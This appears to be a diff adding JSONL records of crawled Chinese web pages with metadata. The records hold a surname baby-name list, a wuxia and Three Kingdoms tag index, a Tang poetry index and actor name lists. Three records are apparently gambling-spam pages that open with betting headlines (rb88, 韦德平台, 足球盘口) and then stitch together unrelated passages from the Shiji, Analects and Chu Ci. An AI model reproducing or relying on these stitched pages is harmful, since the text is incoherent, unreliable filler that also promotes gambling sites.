+{"text":"足球盘口什么叫水位提升交易限额银行开打云渠道账户争夺战\n其後百六十有七年而吴有专诸之事。\n乃东之赵。赵肃侯令其弟成为相,号奉阳君。奉阳君弗说之。\n六年春,封中尉绾为建陵侯,江都丞相嘉为建平侯,陇西太守浑邪为平曲侯,赵丞相嘉为江陵侯,故将军布为鄃侯。梁楚二王皆薨。後九月,伐驰道树,殖兰池。\n子曰:\"君子怀德,小人怀土;君子怀刑,小人怀惠。\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/xzmqt.chsie.com.cn\/wlhqp\/065971.html","date":"2020-03-29T00:34:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370493121.36\/warc\/CC-MAIN-20200328225036-20200329015036-00166.warc.gz","language":"lzh","language_score":0.5833922029,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5833922028541565, \"cmn_Hani_score\": 0.3056986331939697, \"nan_Hani_score\": 0.029842911288142204, \"jpn_Jpan_score\": 0.015326299704611301, \"wuu_Hani_score\": 0.01277296431362629, \"yue_Hani_score\": 0.012650711461901665}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.518,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓聞的好聽的男孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓聞的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓聞的好聽的男孩名字!\n姓聞的好聽的男孩名字\n聞冠林 聞熙忻 聞永聰 聞薇音 聞昱才 聞泉崎 聞果然 聞召城 聞裘涵 聞海 聞菊華 聞錫華 聞榮點 聞佳銘 聞善析 聞嘉忻 聞韻涵 聞海東 聞昆 聞翔瀚 聞鄯涵 聞建華 聞書榕 聞捷 聞昀窈 聞逸心 聞丹 聞雅祺 聞樹搏 聞妮孜 聞畫 聞夢娣 聞裡衛 聞打子 聞程力 聞玉賢 聞煜嶧 聞尚鵬 聞偉中 聞柯 聞璐慈 聞心 聞訓平 聞凌 聞強國 聞浩磊 聞伊淳 聞易呈 聞昭涵 聞遠洋 聞淼 聞三 聞首群 聞睿敏 聞芝蘭 聞長宏 聞凰樓 聞預賓 聞曉辰 聞易銘 聞孟雅 聞飛 聞丹 聞涵博 聞德房 聞有欣 聞川晶 聞騰龍 聞馨锘 聞龍 聞逸鋒 聞倪 聞雅慧 聞書郝 聞玫捷 聞鐸華 聞商書 聞涵 聞予童 聞可點 聞建榮 聞茂梓 聞文隆 聞棋 聞林林 聞航立 聞和海 聞佳琦 聞沿廷 聞蓮華 聞學業 聞檑恒 聞炎傑 聞海雲 聞大喜 聞育瑗 聞雪芹 聞鋒 聞永全 聞嶽誠 聞嵐欣 聞舒閱 聞曉海 聞宏鑫 聞廣淼 聞和豐 聞志敏 聞雲一\n聞鑫寧 聞明禹 聞逸林 聞佳一 聞名軍 聞學坤 聞浩然 聞久誼 聞新亞 聞楊想 聞亞楠 聞轉伊 聞雲堂 聞麗君 聞秋生 聞文營 聞睿志 聞起生 聞銘銘 聞斌 聞南欷 聞苓 聞嶸 聞韶光 聞歆瀾 聞唯謙 聞晨爽 聞宗仁 聞智勇 聞海 聞思茜 聞煦涵 聞驛朋 聞小芹 聞凝寧 聞傢緯 聞海富 聞春秀 聞婉馨 聞華東 聞天旗 聞勝傑 聞小珂 聞常萃 聞屹磊 聞黎明 聞宇琦 聞寶軍 聞加淇 聞寧峰 聞建星 聞俊權 聞露晨 聞奇 聞仡燾 聞雅椿 聞美玫 聞漾 聞素碧 聞字字 聞美蘭 聞永樂 聞安妮 聞盛業 聞昊 聞延勝 聞璦 聞美瀅 聞事恒 聞琿 聞靖原 聞寧寧 聞晶 聞航軒 聞彪 聞子陶 聞添皓 聞藝陽 聞煒 聞鍵興 聞子溱 聞雨函 聞九成 聞淑敬 聞友鶴 聞優盼 聞傑俊 聞增均 聞映菏 聞枝雅 聞昊欣 聞垠 聞雲傑 聞月成 聞廣淫 聞珊 聞副酒 聞瑯瑯 聞昃沛 聞祝平 聞紅粉 聞樂潼 聞宜華 聞梅音 聞吃 聞會閔 聞愷明 聞露丹 聞光磊 聞辰浩 聞心薇 聞粲苗 聞毛 聞堯東 聞增志 聞思會 聞三爛 聞芝蕙 聞昊 聞洪雲 聞書香 聞金融 聞金喜 聞珍洲 聞中厚 聞浩楠 聞子濠 聞輕洋 聞凱昊 》》還是沒有找到滿意的名字?不妨問問大師。\n聞加翔 聞雲平 聞曉君 聞野 聞適鴻 聞皙 聞雲迪 聞寶林 聞競 聞傢寶 聞雯婕 聞佳燦 聞紹聰 聞連川 聞洋 聞發源 聞育育 聞虎 聞星璇 聞小寧 聞可人 聞樹齋 聞宏升 聞若溪 聞晦組 聞天晰 聞幼淇 聞忠 聞楊子 聞發興 聞秋遐 聞周蓬 聞建明 聞一一 聞虹宇 聞薌霖 聞德帝 聞譯鋒 聞苦 聞永珍 聞一達 聞姬瑜 聞櫻洽 聞小鯤 聞文權 聞珞珈 聞玉嬌 聞文睿 聞逸飛 聞恒發 聞淵睿 聞繼剛 聞競豪 聞宏 聞岷鑒 聞德才 聞曉晴 聞哲全 聞熙哲 聞佳睿 聞壑 聞一凡 聞雪靜 聞一帆 聞運斌 聞鵬臣 聞可睿 聞紅星 聞泓 聞權 聞凌菲 聞國梁 聞亞欣 聞麗輝 聞仲博 聞雨源 聞丞槿 聞西 聞義堅 聞丹民 聞凱華 聞沛 聞安原 聞夢祺 聞耀威 聞子暢 聞佩香 聞科禱 聞若彤 聞小晰 聞頓上 聞子澮 聞韓 聞雍航 聞軒增 聞暨宇 聞豐 聞挺進 聞玉龍 聞藝波 聞渲渝 聞寧澤 聞瑞鴻 聞歡筆 聞禧欷 聞涵城 聞小雲 聞念霖 聞滔 聞雲碩 聞瑋 聞帥 聞允惠 聞健威 聞信先 聞耿彬 聞閔明 聞昱村 聞安 聞瑋嘉 聞清源 聞鈺淞 聞洪偉 聞易 聞靜 聞鑫然 聞悠遠 聞婉君 聞詩滴 聞玉奎 聞毓靈 聞付斌 聞靈垣 聞亦帆 聞平 聞靖函 聞金雲 聞元博 聞永安 聞成衛 聞月華 聞廣焊 聞阿籩 聞世皓 聞步兵 聞畫 聞和 聞自焱 聞小雅 聞沛海 聞采 聞祿山 聞意海 聞力謙 聞依格 聞麗雲 聞堯奕 聞似錦 聞昱言 聞思卉 聞大友 聞祥順 聞飛龍\n姓氏源流 聞(Wén 聞)姓源流純正,源出有一:\n出自復姓聞人氏,是春秋時期少正卯的後代。少正卯是春秋末葉魯國人。他博學多識,很有名氣。他的有些主張與孔子不合,曾聚眾講學,同孔子唱對臺戲,使得孔子的不少弟子都跑到少正卯處聽講。後來孔子利用職權殺瞭少正卯。因少正卯是當時聲譽很大、遠近聞名的人,被譽為\"聞人\",所以他的後代支庶子孫有的便改為聞人氏。後有一部分聞人復姓改為單姓聞,稱為聞姓。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/www.share4tw.com\/archives\/285930","date":"2017-05-28T01:26:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463609404.11\/warc\/CC-MAIN-20170528004908-20170528024908-00265.warc.gz","language":"lzh","language_score":0.9956718087,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.995671808719635}","num_words":407,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n謝煙客 阿青 烏金血劍 易京之戰 崆峒派 董卓討伐戰 袁紫衣 折花百式 曹純 少林派 水笙 菩提心功 飛刀,又見飛刀 典韋 飛龍大九式 潼關之戰 歐陽克 刀白鳳 九月鷹飛 扭轉乾坤殺手劍 武夷派 文泰來 紫氣天羅 文醜 常赫志 達摩手 王元姬 高平陵之變 韋小寶 魏滅蜀之戰 楊逍 迎風一刀斬 石破天 馬忠 五嶽劍派 徐榮 劉備 鐵脊蛇矛 摩尼教 曹丕 變天擊地大法 戰神圖錄 余滄海 楚留香新傳 浣花洗劍錄 黃忠 不死印法 邊城浪子 兵器譜 孫權建國 石亭之戰 韋春花 馮錫范 尋秦記 聖火令 狄雲 驚魂六記 夷陵之戰 桃葉仙 星际浪子 五絕神功 常伯志 碎金剛乘 歐陽鋒 傻姑 曾柔 峨嵋派 任我行 彩環曲 夷陵之戰 桃花仙 九韶定音劍 陸無雙 司馬師 曹操討伐袁術之戰 不戒和尚 誰來跟我乾杯 燕子雙飛 魔心連環 摘心手 賈充 諸葛瞻 曹丕伐吳 鴛鴦腿 夏侯嬰 布衣神相 飛燕七式 多情劍客無情劍 玉女劍法 袖裡乾坤 洪承疇 天地明環 金輪法王 飛狐外傳 翔鷹劍法 飛天狐狸 夢姑 林朝英 碧海潮生曲 硃砂掌 黃權 魏滅蜀之戰 華陀針 合淝新城之戰 官渡之戰 張無忌 花間十二支 臥龍 奕劍術 降龍伏虎羅漢拳 孫曉 袁紹 合淝之戰 九玄大法 陳到 大唐雙龍傳 蕭逸 東興之戰 奇功絕藝榜 鬼王鞭 劍毒梅香 伏魔劍法 楊過 董卓 玩命拳 趙志敬 鹿鼎記 嫁衣神功 小昭 諸葛亮南征 西陵之戰 吳起 男人見不得 血戰十式 關興 楚留香傳奇 俠客行 閔柔 天魔手七十二式 大手印 福康安 九字真言手印 絕代雙驕 橫煉罡 劍罡同流 荀彧 令狐沖 虛竹 空城計 齊桓公 七流星 雲行雨飄 怒劍狂花 周倉 呂玲綺 斷絕神功 鄧艾 鍾會之亂 穆念慈 雷霆刀法 石亭之戰 龍門鏢局 移花接玉 黃天大法 移玉大法 四大名捕 鳳天南 馬謖 少林神拳 壽春馳援 鳥渡術 孫尚香 一燈大師 彈指神通 壽春三叛 天魔心法 七禽身法 張飛 五帝鐧 雙手互搏 鍾會 周芷若 鐵騎快劍 射鵰三部曲 遊俠錄 劍花煙雨江南 霓裳仙舞 流星蝴蝶劍 諸葛恪 祝融 桃實仙 桃幹仙 定逸師太 屯田制 定世鞭 華山論劍 玉女媚術 神刀斬 東興之戰 裂馬槍 汪劍通 瀟湘子 慕容復 滿寵 旋風十八矛 天一掌 歸辛樹 燕子三抄水 暴雨梨花釘 名劍風流 銅錘 大圓滿杖法 破蓮八著 康敏 楊成協 天外飛仙 無念禪功 郭芙 流星鎚 陳宮 逍遙拆 韋一笑 五毒教 程靈素 寧中則 白狼山之戰 三尸腦神丹 金針開穴之法 殘金缺玉 呂布 蛤蟆功 張召重 雙尖軟矛 玉女素心劍法 張三丰 葵花寶典 天地明環 徐天宏 徐盛 日月神教 邊荒傳說 衡山派 青龍偃月刀 刑遁術 徐庶 九轉還童 石田三成 古龍作品 上官鼎 凌波微步 心硯 天鷹教 迷蹤七變 五虎斷門刀 樊城之戰 紫血大法 益州之戰 龐統 史火龍 狼牙 楚留香新傳之蝙蝠傳奇 裘千仞 瑛姑 司馬昭弒君 大意失荊州 仇國論 武林外史 東洋神風刀法 成昆 的盧 失魂引 甘寧 孫堅 挾天子 謝遜 呂母 魅影身法 蕭十一郎 鍾繇 大喬 小龍女 樂進 張郃 曹操攻徐州之戰 明珠 逆水寒 曹叡 蒼穹十三式 定閒師太 倚天屠龍記 孫策 張三李四 海大富 郭解 索額圖 挾刀揉手 炎陽奇功 李牧 心佛掌 流雲飛袖 圓月彎刀 呂布爭徐州 梁羽生 鄧芝 天涯明月刀 馬大元 江南七怪 雙修大法 孫皓暴政 七星龍王 丁春秋 青松劍譜 燎原百擊 左慈 清風十三式 御盡萬法根源智經 飛龍五式 宗預 豔陽刃法 金錢幫 練師 建寧公主 章進 溫瑞安 夏侯淵 馬岱 決戰前後 儀琳 天魔大法 大人物 貂蟬 余魚同 石雙英 破精自絕大法 段譽 李廣 法正 梅花鉤 黃皓 倪匡 曹睿 枯禪玄功 北冥神功 李莫愁 越女劍 西蜀地形圖 郭嘉 勞德諾 鷹變十三式 覆雨翻雲 白萬劍 漢中之戰 岳不羣 白馬嘯西風 馬超 衛春華 風萍掌 王重陽 十二都天神功 子貴母死 君子劍 玄鐵劍法 太極七截棍 石清 絕情谷 雌雄雙股劍 沉沙劍法 日月當空 一休 禿筆翁 玄氣大法 青龍會 呂壹專權 趙雲 日月麗天大法 阿珂 八賢王 黃祖 歡樂英雄 龍吟曲 散手八撲 梵我如一 雪山飛狐 鬼魅潛蹤 東方不敗 歸魂十八爪 尼摩星 慕容博 夏青青 急風十三刺 藏密智能書 白自在 江夏戰神 殭屍拳 魯有腳 不死七幻 王平 五毒神功 范遙 打狗棒法 梅超風 吳國太 白阿繡 丹心術 長平公主 無塵道長 尉遲恭 曹爽專權 霍青桐 于萬亭 碧血洗銀槍 擒拿截脈法 書劍恩仇錄 黃皓專權 王語嫣 耶律齊 朱然 周瑜 玄鐵重劍 掃地僧 興勢之戰 張春華 星宿派 奪命十三劍 李典 周泰 鮑三娘 回轉斧法三十式 呂后 定靜師太 賭局 飛伏一百零八槍 覆雨劍法 全真七子 天龍八部 太虛勁 街亭 七傷拳 黑白子 于禁 孤星傳 關索 辟邪劍法 赤壁之戰 太虛錯手 鍾靈 織女劍法 金剛門 合肥之戰 丐幫 五行劍法 袁承志 金蛇劍 無想十法 戚芳 雙兒 華山派 血鸚鵡 仙門劍訣 枯木神功 九轉無相神功 菊花的刺 羅漢伏虎拳 柳絮劍法 歸藏鞭 火併蕭十一郎 屠龍刀 大拍手 阿朱 連體心法 林平之 蝴蝶穿花七十二式 古墓派 小鷹爪功 關平 月異星邪 司馬懿 披風杖法 滅神掌 諸葛亮北伐 交阯之亂 少林三渡 陳家洛 華山派 康熙 水雲袖法 桃谷六仙 石中玉 軟蝟甲 賈南風 曹丕篡漢 四大惡人 童子功十三太保橫練 大開碑手 魯肅 關銀屏 銀雕 蒼穹神劍 丞相 瘋魔上天下地一百零七撃 木婉清 臥龍生 劉表 建安文學 彼岸劍訣 下邳之戰 飛鶯飛鷹 魅變術 一串鞭 不碎金剛 丹青生 鴛鴦刀 一指頭禪 完顏洪烈 尹克西 炎元真氣 郭馬之亂 蔣幹 蕭摩訶 孫皓 金蛇郎君 鳩摩智 費禕 陸抗 大旗英雄傳 飛鷹十三刺 枯榮大師 魏延 隆中對 倉亭之戰 先天氣功 龍木島主 羊祜 紫微軟劍 阿紫 絕代雙驕角色列表 徐晃 司馬昭 七十二路分筋錯骨手 幻影劍法 楊儀 韋小寶 崑崙派 換日大法 天魅凝陰 凝真九變 乾隆 武田信玄 封天閉地 方天畫戟 蔣濟 逍遙派 夏侯惇 呂蒙 九陽真經 丁不三 荊州 魔佛十式 風清揚 晉滅吳之戰 金絲綿掌 陳近南 玄慈 廖化 三少爺的劍 天外流星 許褚 丁不四 掩月劍法 碧落紅塵 無相神功 岳靈珊 情人箭 九品中正制 黑鬼爪 裘千尺 趙半山 七殺拳 六脈神劍 譙周 風鈴中的刀聲 月英 內家橫練 關羽 桃花島 蔣琬 如意八打 恆山派 趙敏 奪命簪 伏養氣功 南匈奴 三十六招鳥啄擊法 塌上策 劉備稱帝 駱冰 空明拳 楚留香新傳之新月傳奇 黃藥師 界橋之戰 公孫止 貝海石 法顯 神鵰俠侶 胡昭 五虎斷門刀 儀琳 吳六奇 荀攸 蕭遠山 羅憲 群狐 天心蓮環 絕不低頭 鄭丰 幽灵山庄 先天功 楊康 陸遜 衛青 連城訣 紫霞神功 桃枝仙 蔡文姬 淑女劍 方證大師 英雄無淚 沖虛道長 護花鈴 大元丹法 神蛛凌空銀絲渡虛 亡神十八掌 郭淮 黃鍾公 程英 劍玄錄 吳質 楊修 張大春 沙影二十八劍 周伯通 青城派 奼女心法 楚留香新傳之借屍還魂 大地飛鷹 嵩山十三太保 公孫綠萼 曹真 李秋水 吳三桂 姑蘇慕容 賈詡 林遠圖 冰玄勁 破碎虚空 太史慈 丈八蛇矛 武三通 胡斐 七殺手 左手刀法 化石神功 甄姬 古龍 靈犀一指 十住大乘功 道心種魔大法 霍都 馬皇后 任盈盈 韓小瑩 笑傲江湖 丁奉 銀龍手 霍去病 滿天花雨 曹操 桃根仙 王異 孫權 陽頂天 白骨爪 無崖子 洪七公 姜維北伐 七种武器 無想奼女大法 吳應熊 李元霸 穿雲劍法 狂沙刀法 化骨綿掌 曹仁 尉遲敬德 孫策平江東之戰 青釭劍 魏晉玄學 伊達政宗 阿九 飄香劍雨 喬鋒 吸星大法 九陰真經 嵩山派 龐德 鰲拜 捨身大法 星彩 夏侯霸 劍氣書香 郭靖 南皮之戰 丁典 天山童姥 鬼火十三拍 太清元功 笮融 神君別傳 黃蓉 武當掌法 死眷術 大武俠時代 滅絕師太 湘妃劍 方怡 永安之戰 第六天魔王 碧血劍 董允 諸葛誕 倚天劍 九陽神功 地煞拳 韓當 凌統 萬物波動心法 博望坡之戰 曹洪 黯然銷魂掌 鐵蒺藜骨朵 合淝之戰 伏虎神拳 天魔擊三大散招 全真教 紅花會 田伯光 夏姬 嫁衣神功 毛玠 白世鏡 泰山派 游坦之 武當七俠 白玉老虎 九難 丁璫 一扇十八搖 楊頂天 滿地開花八十—式 降龍十八掌 二宮之爭 海神 張翼 陸小鳳傳奇 金庸 梅花鉤 逍遙訣 井中八法 郭襄 藍鳳凰 張角 小喬 種玉大法 莫大先生 慈航劍典 武當派 流星鎚 魅影劍法 段正明 孟獲 血海飄香 達爾巴 蝶雙飛 沐劍屏 神州奇俠 蔣四根 德川家康 諸葛亮 刀劍雙殺七七四十九式 空綁術 曹操迎天子 文鴦 長河正氣 竹節鞭 曹休 牛郎一百零八棍 涼州軍劫天子 龜息功 黃蓋 彭長老 段正淳 姜維 荊楚爭雄記 幻魔身法 劍客行 殷離 蘇荃 起風了 程普 明玉功 左冷禪 蒼穹十三劍 丞相,起風了 劉禪 朱子柳 張遼 張苞 獨孤九劍 就地十八滾 金丹大法 鎖子縮骨功 冷月寶刀 神龍教","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2019-06-26T04:00:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000164.31\/warc\/CC-MAIN-20190626033520-20190626055520-00138.warc.gz","language":"lzh","language_score":0.590056777,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900567770004272, \"nan_Hani_score\": 0.25269678235054016, \"cmn_Hani_score\": 0.1217486560344696, \"yue_Hani_score\": 0.03296058252453804}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"rb88国家邮政局邮政快递企业累计运输物资3179991吨\n子曰:\"我未见好仁者,恶不仁者。好仁者,无以尚之;恶不仁者,其为仁矣,不使不仁者加乎其身。有能一日用其力于仁矣乎?我未见力不足者。盖有之矣,我未之见也。\"\n成王少,周初定天下,周公恐诸侯畔周,公乃摄行政当国。管叔、蔡叔群弟疑周公,与武庚作乱,畔周。周公奉成王命,伐诛武庚、管叔,放蔡叔。以微子开代殷後,国於宋。颇收殷馀民,以封武王少弟封为卫康叔。晋唐叔得嘉穀,献之成王,成王以归周公于兵所。周公受禾东土,鲁天子之命。初,管、蔡畔周,周公讨之,三年而毕定,故初作大诰,次作微子之命,次归禾,次嘉禾,次康诰、酒诰、梓材,其事在周公之篇。周公行政七年,成王长,周公反政成王,北面就群臣之位。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n子曰:\"君子而不仁者有矣夫,未有小人而仁者也。\"\n上遂东巡海上,行礼祠八神。齐人之上疏言神怪奇方者以万数,然无验者。乃益发船,令言海中神山者数千人求蓬莱神人。公孙卿持节常先行候名山,至东莱,言夜见大人,长数丈,就之则不见,见其迹甚大,类禽兽云。群臣有言见一老父牵狗,言\"吾欲见巨公\",已忽不见。上即见大迹,未信,及群臣有言老父,则大以为仙人也。宿留海上,予方士传车及间使求仙人以千数。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/nglls.newday-intl.com\/VDNND16764.html","date":"2020-02-25T07:17:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146033.50\/warc\/CC-MAIN-20200225045438-20200225075438-00460.warc.gz","language":"lzh","language_score":0.4201602638,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4201602637767792, \"cmn_Hani_score\": 0.34758782386779785, \"nan_Hani_score\": 0.0989408940076828, \"wuu_Hani_score\": 0.02761058695614338, \"zxx_Latn_score\": 0.01619698666036129, \"yue_Hani_score\": 0.01380764041095972, \"jpn_Jpan_score\": 0.011608020402491093}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.397,"perplexity_score":500.0,"cluster_detection":1} +{"text":"韦德平台中央指导组中国疫情防控工作刚走出最困难阶段\n故北夷之气如群畜穹闾,南夷之气类舟船幡旗。大水处,败军场,破国之虚,下有积钱,金宝之上,皆有气,不可不察。海旁蜄气象楼台;广野气成宫阙然。云气各象其山川人民所聚积。\n宣公五十一年卒,子康公贷立。田会反廪丘。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n大馀十七,小馀六百三十四;大馀二十七,无小馀;\n最大将军青,凡七出击匈奴,斩捕首虏五万馀级。一与单于战,收河南地,遂置朔方郡,再益封,凡万一千八百户。封三子为侯,侯千三百户。并之,万五千七百户。其校尉裨将以从大将军侯者九人。其裨将及校尉已为将者十四人。为裨将者曰李广,自有传。无传者曰:","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/g275q.hg536.cn\/appzcddt\/7249159.html","date":"2020-04-01T04:09:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505366.8\/warc\/CC-MAIN-20200401034127-20200401064127-00081.warc.gz","language":"lzh","language_score":0.4595761597,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.45957615971565247, \"cmn_Hani_score\": 0.28289783000946045, \"nan_Hani_score\": 0.08237912505865097, \"zxx_Latn_score\": 0.025856319814920425, \"wuu_Hani_score\": 0.019672373309731483, \"jpn_Jpan_score\": 0.019442947581410408, \"yue_Hani_score\": 0.013400991447269917}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.484,"perplexity_score":500.0,"cluster_detection":1} +{"text":"節日 元宵節\n唐詩三百首 宮怨\n唐詩三百首 旅途 抒情 鄉情\n地方 贊美\n唐詩三百首 寫人 諷刺\n唐詩三百首 女子 宮怨\n故國三千里,深宮二十年。一聲何滿子,雙淚落君前。\n自倚能歌日,先皇掌上憐。新聲何處唱,腸斷李延年。\n宮人 哀怨\n雨霖鈴夜卻歸秦,猶見張徽一曲新。長說上皇和淚教,月明南內更無人。\n憂國 憂民","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/www.700522.tw\/shi\/1_56_n_n.html","date":"2020-06-05T12:45:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348500712.83\/warc\/CC-MAIN-20200605111910-20200605141910-00445.warc.gz","language":"lzh","language_score":0.5167877078,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5167877078056335, \"nan_Hani_score\": 0.27080368995666504, \"cmn_Hani_score\": 0.1475590318441391, \"yue_Hani_score\": 0.05459653213620186}","num_words":23,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.708,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n譚俊彥 曹永廉 姚子羚 湯洛雯 陳凱琳 張振朗 胡諾言 傅嘉莉 張秀文 龔嘉欣 楊玉梅 張穎康 曾敏 李嘉 李日升 譚坤倫 呂珊 陳嘉佳 張國強 蔡國慶 馮素波 吳沚默 吳家樂 袁文傑 郭子豪 範文雅 陳自瑤 陳婉婷 李美慧 何佩珉 葉蒨文 楊詩敏 張彥博 梁舜燕 譚凱琪 黃子恆 李成昌 羅天宇 李綺雯 袁鎮業 郭千瑜 謝雪心 余子明 陳嘉輝 羅樂林 文雪兒 何遠東 杜燕歌 歐瑞偉 李岡龍 煒烈 陳狄克 杜大偉 丁樂鍶 莫偉文 魯振順 莫家淦 胡定欣 李天縱 招浩明 黃耀英 程皓 鄭恕峯 蔡國威 何廣沛\n劉倩妏 吳沚默\n苗僑偉 黃宗澤 吳卓羲 馬國明 蒙嘉慧 餘香凝 李·佩斯 苟芸慧 張曦雯 陳山聰 吳啓華 蔡潔 姜大衛 劉佩玥 汪明荃 梁競徽 周志文 王敏德 吳沚默 楊玉梅 王卓淇 李思雅 李豪 麥長青 彭紀諺 陳戩浩 梁百川 陳諾忠 蔡苑庭 林嘉華 陳秀珠 黃庭鋒 潘志文 鄭子誠 譚凱琪 易宇航 楊證樺 吳瑞庭 何浩文 楊靖彤 吳業坤 黎燕珊 王俊棠 黃柏文\n黃浩然 陳煒 譚俊彥 李施嬅 湯洛雯 朱晨麗 郭子豪 張彥博 謝賢 鄭希怡 鄭俊弘 謝雪心 康華 張文慈 海俊傑 陸詩韻 李美慧 蔡思貝 呂珊 曾偉權 朱匯林 楊柳青 黃耀煌 陳少邦 溫家偉 趙璧渝 謝芷倫 區靄玲 莫家淦 黃祥興 楊潮凱 張曦雯 陳敏之 鮑起靜 張頴康 鄭子誠 陳志健 黎燕珊 古明華 楊證樺 嘉駿 林子超 劉家聰 黃得生 羅蘭 麥玲玲 Kim Robertson 楊玉梅 李龍基 陳嘉桓 李漫芬 袁潔儀 吳香倫 李麗麗 胡美貽 程皓 吳沚默 張本立 林惜貞 吳卓衡 陳康琪 關嘉敏 夏子涓\n楊明 袁文傑 張達倫 李璧琦 胡渭康 蔡思貝 伍富橋 林子超 鄧思朗 安俊豪 楊潮凱 陳庭欣 車婉婉 陳榮峻 楊證樺 阮兒 吳沚默 餘德丞\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 